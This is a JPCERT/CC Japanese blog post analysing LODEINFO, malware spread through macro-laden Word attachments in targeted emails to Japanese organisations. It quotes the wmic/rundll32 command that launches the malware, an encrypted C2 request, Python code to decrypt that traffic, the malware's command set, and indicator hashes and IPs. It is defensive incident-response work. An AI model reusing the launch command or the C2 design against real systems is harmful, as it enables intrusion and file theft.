# 日本国内の組織を狙ったマルウエアLODEINFO - JPCERT/CC Eyes | JPCERTコーディネーションセンター 公式ブログ **blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html** 喜野 [孝太(Kota Kino)](https://blogs.jpcert.or.jp/ja/kino/) 2020/02/20 ## 日本国内の組織を狙ったマルウエアLODEINFO [LODEINFO](https://blogs.jpcert.or.jp/ja/tags/lodeinfo/) [メール](http://10.10.0.46/mailto:?subject=%E6%97%A5%E6%9C%AC%E5%9B%BD%E5%86%85%E3%81%AE%E7%B5%84%E7%B9%94%E3%82%92%E7%8B%99%E3%81%A3%E3%81%9F%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A8%E3%82%A2LODEINFO&body=https%3A%2F%2Fblogs.jpcert.or.jp%2Fja%2F2020%2F02%2FLODEINFO.html) JPCERT/CCでは、2019年12月頃に日本国内の組織を狙った標的型攻撃メールを確認してい ます。 標的型攻撃メールには、これまでJPCERT/CCでは確認していなかった、「LODEINFO」と 呼ばれる新たなマルウエアに感染させようとする不正なWord文書が添付されていました。 今回は、新たなマルウエアLODEINFOの詳細について紹介します。 ### LODEINFOが動作するまでの流れ 図1は、LODEINFOが動作するまでの流れを示しています。 ----- 図 1:LODEINFOが動作するまでの流れ JPCERT/CCが確認した検体では、Word文書のマクロを有効化することでLODEINFOがホス ト上に作成され、以下のコマンドでrundll32.exeから実行されます。 ``` wmic process call create "cmd /c cd %ProgramData%&start rundll32.exe [LODEINFOのファイ ``` ルパス] main" その後、LODEINFOはsvchost.exeのプロセスを起動し、ペイロードをインジェクションし て動作します。 以降では、インジェクションされた後のLODEINFOの詳細な挙動について解説します。 ### LODEINFOの挙動の詳細 LODEINFOは、特定のサイトとHTTPで通信を行い、受信した命令を実行します。 以下は、LODEINFOが送信するHTTP POSTリクエストの例です。 ``` POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Host: [ホスト名] Content-Length: 193 Connection: Keep-Alive Cache-Control: no-cache data=DIajqcc5lVuJpjwvr36msbQAAADitmc5LmhLlVituiM4OtDohYHRxBJ2R5yWjTYNyBTkUMGD2CPFpZw02 RQPnYcQeRkqYNOyyRvfhAHSHAFDedFMJlyO1KztS1crvyayyYdL3zmNdE71MsWv2P5PeBzGU_v0EGa0VycSfNe ``` データはAESで暗号化した後に、BASE64エンコードされています。データには、 LODEINFOが動作しているホストのホスト名や言語環境、MACアドレスなどの情報が含ま れています。図2は、送信データをデコードした例です。(送信するデータのフォーマット については、Appendix Aをご覧ください) ----- 図 2:デコードした送信データの一部 以下は、HTTP POSTリクエストのデータを復号するコードの一部です。 ``` from Crypto.Cipher import AES from base64 import urlsafe_b64decode from binascii import a2b_hex def decypt_lodeinfo_data(enc_data: str, key: bytes, iv: bytes) -> bytes: header_b64 = enc_data[:0x1C] header = urlsafe_b64decode(header_b64.replace(".", "=")) ## decode with base64 postdata_size = int.from_bytes(header[0x10:0x14], byteorder="little") postdata_b64 = enc_data[0x1C:0x1C+postdata_size] postdata = urlsafe_b64decode(postdata_b64.replace(".", "=")) ## decrypt with AES cipher = AES.new(key, AES.MODE_CBC, iv) decrypt_size = int.from_bytes(postdata[0x30:0x34],byteorder="little") dec_data = cipher.decrypt(postdata[0x34:0x34+decrypt_size]) ## remove junk bytes junk_size = dec_data[-1] dec_data = dec_data[:decrypt_size-junk_size] return dec_data encrypted_data = "DIajqcc5lVuJpjwvr36msbQAAADitmc5LmhLlVituiM4OtDohYHRxBJ2R5yWjTYNyBTkUMGD2CPFpZw02cwPv RQPnYcQeRkqYNOyyRvfhAHSHAFDedFMJlyO1KztS1crvyayyYdL3zmNdE71MsWv2P5PeBzGU_v0EGa0VycSfNe KEY = a2b_hex("E20EF6C66A838DA222821DB1C5777251F1A9D5D14D2344CED68A353BFCAC4C5A") IV = a2b_hex("CC45ABAD58152C6150F157367ECC53F3") decrypted_data = decypt_lodeinfo_data(encrypted_data, KEY,IV) print("Decrypted Data: ", bytes.hex(decrypted_data)) ``` 次に、LODEINFOはコマンドを受信します。C&Cサーバからのレスポンスは、HTTP POST リクエストと同様に、AESとBASE64を組み合わせて暗号化が行われています。LODEINFO は受信したコマンドに応じて、以下の機能などを実行します。(コマンドの詳細については Appendix Bをご覧ください) PEファイルの実行 シェルコードの実行 ----- ファイルのアップロード・ダウンロード プロセスの停止 ファイル一覧の送信 マルウエアバージョン情報の送信 ### LODEINFOで利用されているコード LODEINFOを分析した結果、GitHub上で公開されているLodePNG[1]と呼ばれるPNGファイ ルのエンコーダー/デコーダーのソースコードと類似する部分が多数あることを確認しまし た。ただし、LodePNGの機能を悪用している箇所は確認できていないため、攻撃者が当該 コードを利用している理由については不明です。 ### おわりに LODEINFOには、複数の箇所でデバッグ用と思われる文字列が記載されている他、バージョ ン情報としてv0.1.2といった文字列が確認でき、現在も開発途中の可能性があります。今後 もLODEINFOを利用した攻撃が続く可能性もあるため、注意が必要です。 なお、今回解説したLODEINFOと類似する検体のハッシュ値をAppendix C、確認した通信 先をAppendix Dに記載しています。 Appendix Dの通信先に対して通信が発生していないか をご確認ください。 インシデントレスポンスグループ 喜野 孝太 参考情報 [1] GitHub: LodePNG - PNG encoder and decoder in C and C++ [https://github.com/lvandeve/lodepng](https://github.com/lvandeve/lodepng) **Appendix A 送受信データの内容** 表 A-1:データフォーマット(BASE64デコード後) オフセット 長さ 内容 0x00 16 AESキーのSHA512値(先頭16byte) 0x10 4 0x15以降のデータをBASE64エンコードしたサイズ 0x14 1 不明 0x15 48 AESで暗号化される前のデータのSHA512値(先頭48byte) 0x45 4 AESで暗号化されたデータのサイズ 0x49 可変 AESで暗号化されたデータ ----- 表 A-2:BASE64デコードした送信データの例 **Appendix B コマンド一覧** 表 B: コマンド一覧 値 内容 MZ PEファイルの実行 0xE9 シェルコードの実行 cd カレントディレクトリの変更 ls ファイル一覧の送信 send ファイルダウンロード recv ファイルアップロード cat ファイルアップロード memory シェルコードの実行(svchost.exeにインジェクション) kill 任意プロセスの停止 ver マルウエアバージョン情報の送信 **Appendix C 検体のハッシュ値** b50d83820a5704522fee59164d7bc69bea5c834ebd9be7fd8ad35b040910807f **Appendix D 通信先** 45.67.231.169 162.244.32.148 ----- 193.228.52.57 [メール](http://10.10.0.46/mailto:?subject=%E6%97%A5%E6%9C%AC%E5%9B%BD%E5%86%85%E3%81%AE%E7%B5%84%E7%B9%94%E3%82%92%E7%8B%99%E3%81%A3%E3%81%9F%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A8%E3%82%A2LODEINFO&body=https%3A%2F%2Fblogs.jpcert.or.jp%2Fja%2F2020%2F02%2FLODEINFO.html) この記事の筆者 喜野 [孝太(Kota Kino)](https://blogs.jpcert.or.jp/ja/kino/) 2019年8月より現職。主に、マルウェア分析・フォレンジック調査に従事。 このページは役に立ちましたか? 0人が「このページが役に立った」と言っています。 その他、ご意見・ご感想などございましたら、ご記入ください。 こちらはご意見・ご感想用のフォームです。各社製品については、各社へお問い合わせくだ さい。 javascriptを有効にすると、ご回答いただけます。 ありがとうございました。 ## 関連記事 HUI Loaderの分析 Anti-UPX Unpackingテクニック ----- モバイル端末を狙うマルウェアへの対応FAQ 攻撃グループLuoYuが使用するマルウェアWinDealer 攻撃グループBlackTechが使用するマルウェアGh0stTimes ≪ [前へ](https://blogs.jpcert.or.jp/ja/2020/02/japan-security-analyst-conference-2020-2.html) [トップに戻る](https://blogs.jpcert.or.jp/ja/) [次へ](https://blogs.jpcert.or.jp/ja/2020/02/elf_tscookie.html) ≫ -----